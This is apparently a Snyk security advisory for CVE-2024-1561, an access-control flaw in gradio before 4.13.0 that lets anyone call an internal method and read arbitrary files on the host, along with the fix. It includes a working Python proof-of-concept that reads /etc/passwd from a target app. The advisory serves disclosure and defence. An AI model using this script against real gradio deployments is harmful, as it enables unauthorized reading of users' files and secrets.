Improper Access Control Affecting gradio package, versions [,4.13.0)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-GRADIO-6615834
- published 16 Apr 2024
- disclosed 16 Apr 2024
- credit ozelis
Introduced: 16 Apr 2024
CVE-2024-1561 Open this link in a new tabHow to fix?
Upgrade gradio
to version 4.13.0 or higher.
Overview
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Improper Access Control due to the /component_server
endpoint improperly allowing the invocation of any method on a Component
class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache()
method of the Block
class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access.
Notes:
It is even more critical because running an app with launch(share=True) will expose the app to the internet allowing anyone to read files on users computers.
All gradio apps hosted on huggingface.co are also vulnerable.
PoC
from argparse import ArgumentParser
from requests import Session
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", required=True)
parser.add_argument("--path", default="/etc/passwd")
args = parser.parse_args()
url_base = args.url
with Session() as s:
# get app config:
rsp = s.get(f"{url_base}/config")
# grab any valid component_id:
component_id = rsp.json()["components"][0]["id"]
rsp = s.post(f"{url_base}/component_server", json={
"component_id" : component_id,
"data" : args.path, # "/etc/passwd",
"fn_name" : "move_resource_to_block_cache",
"session_hash" : "aaaaaaaaaaa"
})
path = rsp.json()
rsp = s.get(f"{url_base}/file={path}")
print(rsp.text)